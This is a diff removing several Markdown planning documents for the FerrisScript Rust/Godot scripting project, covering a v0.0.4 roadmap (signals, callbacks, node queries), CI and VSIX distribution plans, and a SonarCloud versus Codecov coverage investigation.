-- Add pre-commit hook to compile TypeScript if .ts files changed
-- Document in `extensions/vscode/README.md`
-
-#### CI/CD Pipeline (v0.0.4)
-
-- Add GitHub Actions workflow for VS Code extension
-- Trigger on changes to `extensions/vscode/**`
-- Steps:
-  1. Install npm dependencies
-  2. Run `npm run compile`
-  3. Run `npm run lint`
-  4. Run extension tests (when available)
-  5. Build VSIX package
-  6. Upload VSIX as artifact
-
-#### Release Automation (v0.1.0)
-
-- Automate VSIX creation on version tags
-- Publish to VS Code marketplace via CI
-- Include in GitHub release assets
-
-**Rationale**: Ensures extension is always buildable and catches compilation errors early.
-
-### VSIX Distribution
-
-**Context**: Users currently install from source. VSIX packages provide easier installation.
-
-**Current State**: Manual VSIX building documented in README (v0.0.3).
-
-**Recommendations**:
-
-- **v0.0.4**: Add VSIX build to release checklist
-- **v0.0.4**: Upload VSIX to GitHub releases as asset
-- **v0.1.0**: Automate VSIX creation in CI/CD
-- **v0.1.0**: Submit to VS Code marketplace
-
-**Benefits**: Professional distribution, easier for users, automated updates.
-
-### Communication
-

-# FerrisScript v0.0.4 Roadmap 🦀
-
-**Version**: 0.0.4 (Patch Release)  
-**Focus**: Godot API Expansion  
-**Timeline**: 3-4 weeks  
-**Prerequisites**: v0.0.3 (solid editor + error reporting)
-
----
-
-## 🎯 Overview
-
-**Strategic Goal**: Expand Godot integration to enable real 2D game development without adding new language features.
-
-**Key Priorities**:
-
-1. Signal support for event-driven programming
-2. Additional lifecycle callbacks
-3. Node query functions for scene tree interaction
-4. Additional Godot types for 2D development
-
-**Alignment with v0.1.0 Strategy**: Major step in reprioritized roadmap by providing comprehensive Godot API coverage before LSP. Enables developers to build real interactive games with current language features.
-
----
-
-## 📦 High Priority Deliverables
-
-### 1. Signal Support 🔥
-
-**Status**: Not Started  
-**Priority**: Critical (Core Godot Feature)
-
-**Rationale**: Essential for event-driven programming in Godot. High priority in reprioritized v0.1.0 roadmap.
-
-**Scope**:
-
-- [ ] Define signals in FerrisScript:
-
-  ```rust
-  signal health_changed(old: i32, new: i32);
-  signal player_died;
-  ```
-
-- [ ] Emit signals from FerrisScript:
-
-  ```rust
-  emit_signal("health_changed", old_health, health);
-  emit_signal("player_died");
-  ```
-
-- [ ] Connect signals from Godot editor
-- [ ] Connect signals from FerrisScript code
-- [ ] Signal with parameters (multiple types)
-- [ ] Signal without parameters
-- [ ] Disconnect signals
-
-**Example Usage**:
-
-```rust
-signal health_changed(old: i32, new: i32);
-signal player_died;
-
-let mut health: i32 = 100;
-
-fn take_damage(amount: i32) {
-    let old_health: i32 = health;
-    health -= amount;
-    emit_signal("health_changed", old_health, health);
-    
-    if health <= 0 {
-        emit_signal("player_died");
-    }
-}
-
-fn _ready() {
-    // Signals can be connected from Godot editor or code
-}
-```
-
-**Implementation Details**:
-
-- Add `signal` keyword to lexer
-- Add signal declaration to parser and AST
-- Store signals in environment/runtime
-- Integrate with Godot's signal system via GDExtension
-- Handle signal parameters and type checking
-
-**Estimated Effort**: 5-7 days
-
-**Components Affected**: Lexer, parser, type checker, runtime, Godot binding
-
----
-
-### 2. Additional Callbacks
-
-**Status**: Not Started  
-**Priority**: High
-
-**Rationale**: Enables input handling and physics, essential for interactive games.
-
-**Scope**:
-
-- [ ] `_input(event: InputEvent)` - Handle user input:
-
-  ```rust
-  fn _input(event: InputEvent) {
-      if event.is_action_pressed("jump") {
-          velocity.y = -300.0;
-      }
-      if event.is_action_pressed("shoot") {
-          spawn_bullet();
-      }
-  }
-  ```
-
-- [ ] `_physics_process(delta: f32)` - Fixed timestep updates:
-
-  ```rust
-  fn _physics_process(delta: f32) {
-      // Physics calculations here
-      self.position.x += velocity.x * delta;
-      self.position.y += velocity.y * delta;
-      
-      // Apply gravity
-      velocity.y += 980.0 * delta;
-  }
-  ```
-
-- [ ] `_enter_tree()` - Node enters scene tree:
-
-  ```rust
-  fn _enter_tree() {
-      print("Node entered the scene tree");
-  }
-  ```
-
-- [ ] `_exit_tree()` - Node exits scene tree:
-
-  ```rust
-  fn _exit_tree() {
-      print("Node exited the scene tree");
-      // Cleanup resources
-  }
-  ```
-
-- [ ] `_draw()` - Custom 2D drawing (optional):
-
-  ```rust
-  fn _draw() {
-      // Custom drawing code
-      draw_circle(position, 10.0, Color::RED);
-  }
-  ```
-
-**Implementation Details**:
-
-- Add InputEvent type to type system
-- Register new callbacks in Godot binding
-- Hook into Godot's callback system
-- Test each callback thoroughly
-
-**Estimated Effort**: 3-4 days
-
-**Components Affected**: Type system, runtime, Godot binding
-
----
-
-### 3. Node Query Functions
-
-**Status**: Not Started  
-**Priority**: High
-
-**Rationale**: Enables scene tree interaction, essential for accessing other nodes.
-
-**Scope**:
-
-- [ ] `get_node(path: String) -> Node`:
-
-  ```rust
-  fn _ready() {
-      let player: Node = get_node("../Player");
-      let hud: Node = get_node("/root/HUD");
-  }
-  ```
-
-- [ ] `get_parent() -> Node`:
-
-  ```rust
-  fn _ready() {
-      let parent: Node = get_parent();
-      print("Parent node found");
-  }
-  ```
-
-- [ ] `get_children() -> [Node]`:
-
-  ```rust
-  fn _ready() {
-      let children: [Node] = get_children();
-      // Note: Requires arrays (may defer to v0.0.6)
-      // For now, could return count or implement basic iteration
-  }
-  ```
-
-- [ ] `has_node(path: String) -> bool`:
-
-  ```rust
-  fn _ready() {
-      if has_node("Enemy") {
-          print("Enemy found!");
-      }
-  }
-  ```
-
-- [ ] `find_child(name: String) -> Node`:
-
-  ```rust
-  fn _ready() {
-      let health_bar: Node = find_child("HealthBar");
-  }
-  ```
-
-**Note on Arrays**: `get_children()` returns an array, which requires array support. Options:
-
-1. Defer `get_children()` to v0.0.6 when arrays are implemented
-2. Return a special NodeList type with iterator methods
-3. Implement basic array support just for this use case
-
-**Recommendation**: Option 1 (defer) to keep v0.0.4 focused and avoid partial array implementation.
-
-**Estimated Effort**: 2-3 days (excluding get_children)
-
-**Components Affected**: Runtime built-ins, Godot binding
-
----
-
-## 📊 Medium Priority Deliverables
-
-### Additional Godot Types
-
-**Status**: Not Started  
-**Priority**: Medium
-
-**Scope**:
-
-- [ ] `Color` - RGBA colors:
-
-  ```rust
-  let red: Color = Color { r: 1.0, g: 0.0, b: 0.0, a: 1.0 };
-  self.modulate = red;
-  ```
-
-- [ ] `Rect2` - 2D rectangles:
-
-  ```rust
-  let bounds: Rect2 = Rect2 {
-      position: Vector2 { x: 0.0, y: 0.0 },
-      size: Vector2 { x: 100.0, y: 100.0 }
-  };
-  ```
-
-- [ ] `Transform2D` - 2D transformations:
-
-  ```rust
-  let transform: Transform2D = Transform2D::identity();
-  self.transform = transform;
-  ```
-
-**Estimated Effort**: 3-4 days
-
-**Components Affected**: Type system, Godot binding
-
----
-
-### Custom Property Exports
-
-**Status**: Not Started  
-**Priority**: Medium
-
-**Rationale**: Expose script variables to Godot Inspector for easy tweaking.
-
-**Scope**:
-
-- [ ] `@export` annotation:
-
-  ```rust
-  @export
-  let speed: f32 = 100.0;
-  
-  @export(range: 0.0, 1.0)
-  let volume: f32 = 0.5;
-  ```
-
-- [ ] Property types: int, float, string, bool
-- [ ] Property hints: range, file, enum
-- [ ] Read from Inspector
-- [ ] Update when changed in Inspector
-
-**Estimated Effort**: 4-5 days
-
-**Components Affected**: Parser, Godot binding
-
----
-

-
-## 📝 Notes
-
-### Example Game Enabled by v0.0.4
-
-With v0.0.4, developers can build a simple platformer:
-
-```rust
-signal health_changed(new_health: i32);
-
-let mut health: i32 = 3;
-let mut velocity: Vector2 = Vector2 { x: 0.0, y: 0.0 };
-
-fn _ready() {
-    emit_signal("health_changed", health);
-}
-
-fn _input(event: InputEvent) {
-    if event.is_action_pressed("jump") {
-        velocity.y = -300.0;
-    }
-}
-
-fn _physics_process(delta: f32) {
-    // Apply gravity
-    velocity.y += 980.0 * delta;
-    
-    // Update position
-    self.position.x += velocity.x * delta;
-    self.position.y += velocity.y * delta;
-    
-    // Check for ground collision
-    if self.position.y > 400.0 {
-        self.position.y = 400.0;
-        velocity.y = 0.0;
-    }
-}
-
-fn take_damage() {
-    health -= 1;
-    emit_signal("health_changed", health);
-    
-    if health <= 0 {
-        // Game over
-        let game_over: Node = get_node("/root/GameOver");
-        // Show game over screen
-    }
-}
-```

-## � Deferred from v0.0.3 - Error Diagnostics & Testing
-
-The following items were deferred from v0.0.3 development and align with v0.0.4's focus on developer experience and quality.
-
-### Phase 2B: Keyword Suggestions 💡
-
-**Status**: Deferred from v0.0.3  
-**Priority**: Low  
-**Estimated Effort**: 3-4 days
-
-**What It Is**: Suggest keywords when users mistype (e.g., `fnn` → `fn`, `lett` → `let`)
-
-**Why Deferred**: Requires lexer changes for context-aware keyword detection. Phase 2A (variable/function/type suggestions) provides 90% of value. Keyword typos are less common.
-
-**Implementation Notes**:
-
-- Lexer needs to track "almost keywords" (tokens close to keywords)
-- Context-aware: `fnn` at statement start → suggest `fn`, but `fnn` in expression → variable typo
-- Most keyword typos already caught by parser (unexpected token errors)
-
-**Scope**:
-
-- [ ] Add keyword suggestion infrastructure to lexer
-- [ ] Context detection (statement vs expression position)
-- [ ] Integration with existing suggestion system
-- [ ] Tests for common keyword typos
-
-**Acceptance Criteria**:
-
-```rust
-// Example: Typo in keyword
-let code = "fnn main() {}";
-let result = compile(code);
-assert!(result.unwrap_err().contains("did you mean 'fn'?"));
-
-// Example: Context-aware
-let code = "let fnn = 5;";  // Variable name, not keyword typo
-let result = compile(code);
-assert!(result.is_ok());  // Should not suggest 'fn'
-```
-
-**References**: v0.0.3 DEFERRED_ITEMS_TRACKING.md, LEARNINGS.md Phase 2
-
----
-
-### Phase 3D: Multi-Error Reporting 🔥
-
-**Status**: Deferred from v0.0.3  
-**Priority**: High  
-**Estimated Effort**: 4-5 days
-
-**What It Is**: Report all errors in one pass, not just first error. Enables batch and stream error reporting modes.
-
-**Why Deferred**: Phase 3C (parser recovery) provides foundation. Multi-error reporting is an enhancement that requires API design and CLI changes.
-
-**Current State**: Parser collects multiple errors internally via error recovery, but `compile()` API returns only first error.
-
-**Implementation Notes**:
-
-- **Batch Mode**: Return all errors at once (`Result<Program, Vec<CompilerError>>`)
-- **Stream Mode**: Callback-based error reporting (for IDEs)
-- **CLI Flag**: `--all-errors` to enable batch mode
-- **API Changes**: New `compile_all_errors()` function
-- **Error Ordering**: Sort by line/column for user-friendly presentation
-
-**Scope**:
-
-- [ ] Design multi-error API (`CompilerError` struct with span, code, message)
-- [ ] Implement `compile_all_errors()` function
-- [ ] Add CLI flag `--all-errors`
-- [ ] Add callback-based stream mode for IDE integration
-- [ ] Sort errors by line/column
-- [ ] Update CLI error display (show all errors, not just first)
-- [ ] Tests for multiple error scenarios
-
-**Benefits**:
-
-- Fix multiple issues per compile cycle (faster iteration)
-- Better IDE integration (show all diagnostics at once)
-- Matches behavior of Rust/TypeScript compilers
-
-**Acceptance Criteria**:
-
-```rust
-// Example: Multiple syntax errors
-let code = r#"
-fn broken() {
-    let x = 
-    let y = 
-}
-"#;
-let errors = compile_all_errors(code);
-assert_eq!(errors.len(), 2);  // Both missing values caught
-assert!(errors[0].code == ErrorCode::E108);
-assert!(errors[1].code == ErrorCode::E108);
-```
-
-**Dependencies**: Phase 3C (parser recovery) ✅ Complete

----
-
-### Phase 3E: Diagnostic Collection Infrastructure 🏗️
-
-**Status**: Deferred from v0.0.3  
-**Priority**: Medium  
-**Estimated Effort**: 5-7 days
-
-**What It Is**: Standardized diagnostic system for all compiler stages (lexer, parser, type checker, runtime). Enables warnings, info messages, and hints beyond just errors.
-
-**Why Deferred**: Phase 3D prerequisite (multi-error API design). Architectural refactoring that touches all compiler stages.
-
-**Vision**: Unified `Diagnostic` struct used by all compiler stages
-
-```rust
-struct Diagnostic {
-    severity: Severity,     // Error, Warning, Info, Hint
-    code: ErrorCode,        // E001-E499 (errors), W001+ (warnings)
-    message: String,
-    span: Span,             // Source location
-    suggestions: Vec<String>,
-    related: Vec<Diagnostic>, // Related diagnostics
-}
-
-struct DiagnosticCollector {
-    diagnostics: Vec<Diagnostic>,
-    max_errors: usize,      // Stop after N errors
-}
-```
-
-**Scope**:
-
-- [ ] Define `Diagnostic` struct with severity levels
-- [ ] Create `DiagnosticCollector` for accumulating diagnostics
-- [ ] Refactor lexer to use diagnostic system
-- [ ] Refactor parser to use diagnostic system
-- [ ] Refactor type checker to use diagnostic system
-- [ ] Add warning codes (W001-W099: unused variables, dead code, etc.)
-- [ ] CLI flag: `--max-errors N` (stop after N errors)
-- [ ] Tests for diagnostic collection across stages
-
-**Benefits**:
-
-- Warnings support (unused variables, dead code, deprecated features)
-- Multi-level diagnostics (errors + warnings + hints)
-- Better LSP integration (diagnostic protocol mapping)
-- Consistent error format across all stages
-
-**Implementation Strategy**:
-
-1. Create diagnostic infrastructure (Diagnostic, DiagnosticCollector)
-2. Migrate lexer to diagnostics (smallest stage, lowest risk)
-3. Migrate parser to diagnostics
-4. Migrate type checker to diagnostics
-5. Add warning codes and detection
-
-**Dependencies**: Phase 3D (multi-error API design)
-

----
-
-### Phase 8: Integration Tests & Cross-Platform Verification 🧪
-
-**Status**: Deferred from v0.0.3  
-**Priority**: High  
-**Estimated Effort**: 5-7 days
-
-**What It Is**: Full compiler → runtime → Godot pipeline tests, cross-platform CI, platform badges.
-
-**Why Deferred**: Integration tests more valuable with expanded Godot API surface (signals, callbacks, node queries). Current v0.0.3 focused on editor experience, not API expansion.
-
-**Current Coverage**:
-
-- ✅ Unit tests (270+ across lexer, parser, type checker, runtime)
-- ✅ Integration tests (error messages, suggestions, recovery)
-- ❌ Godot integration tests (manual only)
-- ❌ Cross-platform automation
-
-**Scope**:
-
-- [ ] **Compiler → Runtime Integration Tests**
-  - Test full compilation pipeline (source → AST → execution)
-  - Verify error propagation through pipeline
-  - Test runtime behavior matches type checker expectations
-
-- [ ] **Godot Integration Tests** (v0.0.4 perfect timing!)
-  - Script loading and compilation in Godot context
-  - Signal emission and connection (v0.0.4 feature)
-  - Callback invocation from Godot (v0.0.4 feature)
-  - Node query functions in scene tree (v0.0.4 feature)
-  - Property exports and Inspector updates
-  - Cross-platform Godot builds
-
-- [ ] **Cross-Platform CI**
-  - Automated Linux builds
-  - Automated Windows builds (already works)
-  - Automated macOS builds
-  - Platform-specific badges in README.md
-
-- [ ] **Performance Regression Tests**
-  - Benchmark tracking over time
-  - Alert on >10% performance regressions
-  - Historical performance graphs
-
-**Implementation Priority**: After v0.0.4 Godot API expansion (signals, callbacks, node queries)
-
-**Why v0.0.4 is Perfect Timing**:
-
-- Signal tests: Verify signal emission and connection
-- Callback tests: Verify `_input`, `_physics_process` invocation
-- Node query tests: Verify `get_node`, `get_parent` in scene tree
-- Much more API surface to test than v0.0.3 had
-
-**Acceptance Criteria**:
-
-```rust
-// Example: Godot integration test
-#[test]
-fn test_signal_emission_in_godot() {
-    let script = r#"
-        signal test_signal(value: i32);
-        
-        fn _ready() {
-            emit_signal("test_signal", 42);
-        }
-    "#;
-    
-    let node = load_script_in_godot(script);
-    let signal_emitted = connect_signal_spy(&node, "test_signal");
-    node.call("_ready");
-    
-    assert!(signal_emitted.was_called());
-    assert_eq!(signal_emitted.get_arg(0), 42);
-}
-```

-
-## �🔮 Additional Opportunities from v0.0.3 (Workstream Prompt Improvements)
-
-### High Priority (v0.0.4)
-
-**1. Prompt Testing & Validation Framework** (1-2 days)
-
-**Rationale**: Now that workstream prompt improvements are in place (Phase 3C learnings), we need to validate effectiveness.
-
-**Scope**:
-
-- Track time estimates vs. actual completion time
-- Measure date accuracy (correct vs. defaulted incorrectly)
-- Monitor LEARNINGS.md update rate
-- Analyze TODO list discipline adherence
-- Generate effectiveness report
-
-**Benefits**: Data-driven prompt refinement, identify persistent issues
-
-**Implementation**: Parse PR descriptions and LEARNINGS.md, generate static report
-
-**Blocker**: No, but valuable for continuous improvement
-
----
-
-**2. Link Checking Automation** (1-2 days)
-
-**Rationale**: CI already validates links, but local convenience would improve developer experience.
-
-**Scope**:
-
-- Create VS Code task: "Docs: Check All Links"
-- Optional: Git hook for pre-commit link validation
-- Documentation in scripts/README.md
-
-**Benefits**: Catch broken links before commit, reduce CI failures
-
-**Current State**: Manual `npx markdown-link-check` works well, CI comprehensive
-
-**Blocker**: No, CI sufficient
-
----
-
-### Medium Priority (v0.0.5 - Deferred to LSP Focus)
-
-**3. Automated Pre-Flight Check Script** (1 day)
-
-**Scope**: `scripts/pre-flight.sh` and `.ps1` to automate manual checks
-
-**Rationale**: Nice quality-of-life improvement, reduces repetitive work
-
-**Blocker**: No, manual works fine
-
----
-
-**4. LEARNINGS.md Template Generator** (4-6 hours)
-
-**Scope**: `scripts/generate-learnings-entry.ps1` to create phase entry skeleton
-
-**Rationale**: After LEARNINGS.md template stabilizes, automation reduces friction
-
-**Blocker**: No, manual template copying works
-
----
-
-**Last Updated**: October 7, 2025  
-**Status**: 🟡 Planning  
-**Previous Version**: v0.0.3 (Editor Experience Alpha)  
-**Next Version**: v0.0.5 (LSP Alpha)

-
----
-
-## 🔍 Key Discoveries
-
-### Technical Insights
-
-1. **Tarpaulin Multi-Format Support**:
-   - Can generate multiple output formats in a single run
-   - `--out Xml --out Lcov` produces both Cobertura and LCOV
-   - No additional CI time overhead (both generated simultaneously)
-
-2. **SonarCloud Rust Coverage**:
-   - Uses `sonar.rust.lcov.reportPaths` property (not generic test coverage XML)
-   - LCOV is native format for Rust projects
-   - No conversion/parsing scripts needed (Low Effort approach confirmed)
-
-3. **Dual Integration Benefits**:
-   - Codecov: Better branch coverage visualization, PR comments
-   - SonarCloud: Integrated quality gate with coverage + code smells + security
-   - Both use same source data (tarpaulin) for consistency
-
-4. **Documentation Link Issues**:
-   - SonarCloud docs have been reorganized (old generic-test-coverage URL is 404)
-   - LCOV sourceforge link is stale (project moved to GitHub)
-   - Fixed both links to current authoritative sources
-
-### Process Learnings
-
-1. **Pre-Flight Checks Critical**:
-   - User made manual edits to 5 files between sessions
-   - Always check current file contents before making assumptions
-   - Context date verification (October 8, 2025) prevented using outdated dates
-
-2. **Documentation Quality**:
-   - Link checking caught 2 broken external links early
-   - Auto-fixing markdown formatting prevented commit issues
-   - Pre-commit hooks validated all changes before push
-
-3. **Assumption Documentation**:
-   - Made 3 assumptions (v0.0.4 target, maintain Codecov, prefer LCOV)
-   - All were reasonable based on context (v0.0.4-roadmap.md open, existing Codecov integration)
-   - Documented inline for transparency
-
----
-
-## ⚠️ Known Limitations / Future Work
-
-### Current Limitations
-
-1. **SonarCloud Quality Gate Thresholds**:
-   - Default coverage threshold is often 80% for new code
-   - Our current coverage is 64.54%
-   - May need to adjust thresholds for alpha releases
-
-2. **Godot Integration Coverage**:
-   - 0% coverage (no tests yet)
-   - Will significantly impact overall percentage
-   - Tracked for v0.0.4 Phase 8
-
-3. **LCOV File Not Uploaded to Artifacts**:
-   - Currently only Cobertura is uploaded to Codecov
-   - LCOV file is consumed by SonarCloud scanner but not persisted
-   - Consider adding to artifacts for manual debugging if needed
-
-### Future Enhancements
-
-**High Priority (v0.0.4)**:
-
-1. Monitor SonarCloud dashboard after next CI run
-2. Adjust quality gate thresholds if needed (64% → 80% may be too aggressive)
-3. Verify coverage matches Codecov within ±5%
-
-**Medium Priority (v0.0.5)**:
-
-1. Add coverage badge to README (after stable integration verified)
-2. Set up coverage regression alerts (fail CI if coverage drops > 5%)
-3. Consider adding LCOV to artifacts for debugging
-
-**Low Priority (v0.1.0)**:
-
-1. Add coverage reports to PR comments (similar to Codecov)
-2. Track coverage trends over time (historical data)
-3. Integrate benchmark performance with coverage metrics
-

-
-## 📝 Post-Execution Notes
-
-### Decisions Made
-
-1. **Decision**: Use LCOV format instead of Generic Test Coverage XML
-   - **Rationale**: Low effort (native SonarCloud support for Rust), no custom scripts needed
-   - **Alternative**: Generic XML format (Medium effort, requires conversion script)
-   - **Trade-off**: LCOV is line coverage only, but sufficient for quality gate
-
-2. **Decision**: Maintain dual integration (Codecov + SonarCloud)
-   - **Rationale**: Both provide complementary value (Codecov for visualization, SonarCloud for quality gate)
-   - **Alternative**: Replace Codecov with SonarCloud only
-   - **Trade-off**: Slightly higher CI time, but minimal (same tarpaulin run)
-
-3. **Decision**: Add LCOV output alongside Cobertura (not replace)
-   - **Rationale**: No breaking changes to existing Codecov integration
-   - **Alternative**: Switch to LCOV only (breaks Codecov)
-   - **Trade-off**: Generates two coverage files, but no measurable impact
-
-### Assumptions (Documented)
-
-⚠️ **ASSUMPTION 1**: This work targets v0.0.4 (based on v0.0.4-roadmap.md open in editor)  
-⚠️ **ASSUMPTION 2**: Maintain existing Codecov integration (dual reporting preferred)  
-⚠️ **ASSUMPTION 3**: Low effort approach (LCOV) is preferred over medium effort (XML generic)
-
-All assumptions proved reasonable based on:
-
-- User context (v0.0.4 planning phase)
-- Existing CI setup (Codecov already working well)
-- Research provided (Low effort LCOV approach clearly documented)
-
-### Recommendations & Deferred Work
-
-#### High Priority (Immediate - Next CI Run)
-
-1. **Monitor SonarCloud Dashboard**:
-   - Verify coverage percentage appears (should be ~64%)
-   - Check quality gate status (may need threshold adjustment)
-   - Compare with Codecov metrics (±5% variance acceptable)
-
-2. **Adjust Quality Gate Thresholds** (if needed):
-   - Default 80% may be too strict for alpha release
-   - Consider 65% for v0.0.3, 70% for v0.0.4, 80% for v0.1.0
-   - Document threshold rationale
-
-#### Medium Priority (v0.0.4)
-
-3. **Add Coverage Badge to README**:
-   - Use SonarCloud badge (shows quality gate + coverage)
-   - Or dual badges (Codecov + SonarCloud) for comprehensive view
-   - Update after stable integration verified
-
-4. **Document Coverage Goals in v0.0.4 Roadmap**:
-   - Link to COVERAGE_ANALYSIS.md from roadmap
-   - Set specific targets: Godot 0%→60%, Lexer 60.8%→75%
-   - Track progress in project board
-
-#### Low Priority (v0.1.0)
-
-5. **Coverage Regression Alerts**:
-   - Fail CI if coverage drops > 5% from baseline
-   - Store baseline in repository or retrieve from SonarCloud API
-   - Alert in PR comments when coverage decreases
-
-6. **Historical Coverage Trends**:
-   - Track coverage over time (per commit or per release)
-   - Visualize trends (graph of coverage % vs. time)
-   - Use SonarCloud history or custom tooling
-
-### Known Limitations
-
-1. **LCOV Coverage Type**: Line coverage only (not branch/statement)
-   - Impact: Low (line coverage is sufficient for quality gate)
-   - Alternative: Cobertura provides branch coverage for Codecov
-
-2. **SonarCloud Free Tier**: Limited historical data (30 days?)
-   - Impact: Low (current metrics are most important)
-   - Mitigation: Export metrics periodically if long-term trends needed
-
-3. **Godot Integration Coverage**: 0% (no tests)
-   - Impact: High (pulls down overall percentage by ~4%)
-   - Tracked: Phase 8 deferred to v0.0.4
-
----

-# SonarCloud Coverage Investigation Summary
-
-**Workstream**: SonarCloud Coverage Integration  
-**Date Range**: October 8, 2025  
-**Status**: ✅ RESOLVED - Root cause identified, configuration updated  
-**Outcome**: Accepted SonarCloud limitation for Rust, configured correctly for TypeScript
-
----
-
-## 📋 Problem Statement
-
-**Initial Request**: "Integrate SonarCloud coverage reporting using Tarpaulin LCOV format"
-
-**Observed Issue**: SonarCloud showing 0.0% coverage despite:
-
-- LCOV file being generated successfully by cargo-tarpaulin
-- Codecov showing 64.54% coverage correctly
-- Workflow jobs running in correct sequential order
-
-**User Observation**: "it's reporting 0% on vscode and isn't reporting anything specific on the rust files even though they're 'New Code'"
-
----
-
-## 🔍 Investigation Journey
-
-### Phase 1: Initial Integration (Commit 179dddb)
-
-**Actions Taken**:
-
-- Added `--out Lcov` to tarpaulin command in CI
-- Configured `sonar.rust.lcov.reportPaths=coverage/lcov.info` in sonar-project.properties
-- Created `docs/planning/technical/SONARCLOUD_COVERAGE_INTEGRATION.md`
-
-**Result**: LCOV generated successfully, but SonarCloud showed 0.0% coverage
-
-**Status**: ❌ Problem not resolved
-
----
-
-### Phase 2: CI Workflow Duplication Analysis (Commit 75c7043)
-
-**Discovery**: Workflows duplicating (SonarQube, markdown-lint, link-check running twice)
-
-**Root Cause**: PR #31 (develop → main) open, triggering both `push` and `pull_request` events
-
-**Resolution**: Documented as acceptable standard workflow pattern
-
-**Decision**: Option 1 - Accept temporary duplication (stops when PR merges)
-
-**Documentation**: `docs/planning/technical/CI_WORKFLOW_DUPLICATION_ANALYSIS.md`
-
-**Status**: ✅ Duplication explained and accepted (not a bug)
-
----
-
-### Phase 3: Workflow Timing Issue (Commit 4d48d67)
-
-**Discovery**: Jobs running in parallel, SonarQube finishing BEFORE coverage generated
-
-**Evidence** (Run 18355233555):
-
-- Both jobs started: 19:04:38
-- SonarQube finished: 19:05:56 (NO coverage available yet)
-- Coverage finished: 19:08:48 (TOO LATE)
-
-**Root Cause**: No job dependency between `coverage` and `sonarqube` jobs
-
-**Solution Implemented**:
-
-- Renamed `codecov` job → `coverage` (more accurate name)
-- Added `needs: coverage` dependency to `sonarqube` job
-- Added artifact upload/download for coverage-reports
-- Split into separate `sonarqube` (push) and `sonarqube-pr` (PR) jobs
-
-**Verification** (Run 18355415604):
-
-- Coverage completed: 19:16:35 ✅
-- SonarQube started: 19:16:38 ✅
-- Sequential execution: WORKING CORRECTLY
-
-**Documentation**: `docs/planning/technical/SONARQUBE_COVERAGE_WORKFLOW_FIX.md`
-
-**Status**: ✅ Workflow timing fixed
-
----
-
-### Phase 4: Fundamental Limitation Discovered
-
-**Continued Problem**: SonarCloud STILL showing 0.0% coverage after timing fix
-
-**Critical Discovery**: **SonarCloud does NOT support Rust language!**
-
-**Evidence**:
-
-- User observation: "reporting 0% on vscode... not reporting anything on rust files"
-- SonarCloud analyzing TypeScript files (VSCode extension) instead of Rust
-- Property `sonar.rust.lcov.reportPaths` **does not exist** (not a valid SonarCloud property)
-- SonarCloud supported languages: Java, C#, JavaScript/TypeScript, Python, Go, PHP, Kotlin, Ruby, Scala
-- Rust: **NOT SUPPORTED**
-
-**Implications**:
-
-- SonarCloud cannot analyze Rust code for quality issues
-- SonarCloud cannot parse Rust coverage reports (LCOV or otherwise)
-- No amount of workflow configuration will fix this (it's a language support issue)
-- Coverage artifact download in workflow is unnecessary (SonarCloud can't use it)
-
-**Documentation**: `docs/planning/technical/SONARCLOUD_RUST_LIMITATION_ANALYSIS.md`
-
-**Status**: ✅ Root cause identified
-
----
-
-### Phase 5: Alternative Solution Evaluation (cargo-sonar)
-
-**Research Input**: Investigated `cargo-sonar` as potential workaround
-
-**What cargo-sonar Provides**:
-
-- Converts Clippy warnings → SonarCloud "external issues"
-- Converts tarpaulin/grcov coverage → SonarCloud format
-- Provides basic metrics (LOC, complexity)
-- Automates report generation and conversion
-
-**Cost/Benefit Analysis**:
-
-**Pros**:
-
-- ✅ Shows Rust code in SonarCloud (better than nothing)
-- ✅ Automates conversion (no manual scripts)
-- ✅ CI-ready (GitHub Actions compatible)
-
-**Cons**:
-
-- ❌ Additional dependency to maintain
-- ❌ Additional CI time (~2-3 minutes per run)
-- ❌ Issues appear as "External Issues" (limited metadata)
-- ❌ Duplicates existing quality gates (Clippy already in CI)
-- ❌ Inferior coverage UX vs. Codecov (no Rust-specific features)
-- ❌ Questionable value: What do we gain over Clippy + Codecov?
-
-**Decision**: **REJECTED**
-
-**Rationale**:
-
-1. **Marginal value**: We already have excellent Rust tooling (Clippy + Codecov)
-2. **Duplicates existing gates**: Clippy already enforces quality in CI
-3. **Inferior coverage UX**: Codecov is superior for Rust coverage visualization
-4. **Additional complexity**: Another dependency to maintain for unclear benefit
-5. **Not industry standard**: Most Rust projects use Clippy + Codecov directly
-6. **Time cost**: +2-3 minutes CI time for repackaging existing data
-
-**When cargo-sonar would make sense**:
-
-- Polyglot monorepo needing unified dashboard
-- Organization mandate: "All projects must use SonarCloud"
-- Team unfamiliar with Rust tooling
-
-**Our case**: Single-language Rust project, no mandate, team comfortable with Rust tooling. Current setup is superior.
-
-**Documentation**: Added Option 5 analysis to `SONARCLOUD_RUST_LIMITATION_ANALYSIS.md`
-
-**Status**: ✅ Alternative evaluated and rejected
-
----
-
-## ✅ Final Resolution
-
-### Solution: Accept Limitation + Configure Correctly
-
-**Approach**: Use TWO coverage tools based on language support
-
-| Tool | Languages | Purpose |
-|------|-----------|---------|
-| **Codecov** | Rust | Primary coverage tool (64.54%) |
-| **SonarCloud** | TypeScript, Markdown | Code quality analysis only |
-
-### Configuration Changes (This Commit)
-
-**1. Updated `sonar-project.properties`**:
-
-```properties
-# Focus on analyzable languages only
-sonar.sources=extensions/vscode/src,docs
-
-# Exclude Rust code (not supported by SonarCloud)
-sonar.exclusions=crates/**,target/**,**/*.rs,**/*.toml
-
-# Removed invalid property:
-# sonar.rust.lcov.reportPaths=coverage/lcov.info  # Does not exist
-```
-
-**2. Updated `.github/workflows/code-scanning.yml`**:
-
-```yaml
-sonarqube:
-  # Removed: needs: coverage (unnecessary dependency)
-  # Removed: Download coverage artifact (SonarCloud can't use it)
-  # Parallel execution saves ~4 minutes
-```
-
-**3. Created Documentation**:
-
-- `docs/COVERAGE_STRATEGY.md` - Comprehensive coverage strategy
-- `docs/planning/technical/SONARCLOUD_RUST_LIMITATION_ANALYSIS.md` - Root cause analysis
-
----
-
-## 📊 Expected Results After Fix
-
-### Before Configuration Update
-
-**SonarCloud**:
-
-- ❌ Quality Gate: FAILED
-- Coverage: 0.0% (trying to measure unsupported Rust)
-- Duplication: 7.3% (analyzing Rust as "generic" files)
-- Analyzing: Rust files as unknown/generic type
-
-**Codecov**:
-
-- ✅ Coverage: 64.54% (working correctly)
-
-### After Configuration Update
-
-**SonarCloud**:
-
-- ✅ Quality Gate: SHOULD PASS (adjust thresholds in UI)
-- Coverage: N/A or 0% (acknowledged as not applicable)
-- Duplication: Lower (only TypeScript/Markdown analyzed)
-- Analyzing: TypeScript, Markdown, YAML (correct files only)
-
-**Codecov**:
-
-- ✅ Coverage: 64.54% (unchanged, still working)
-
----
-
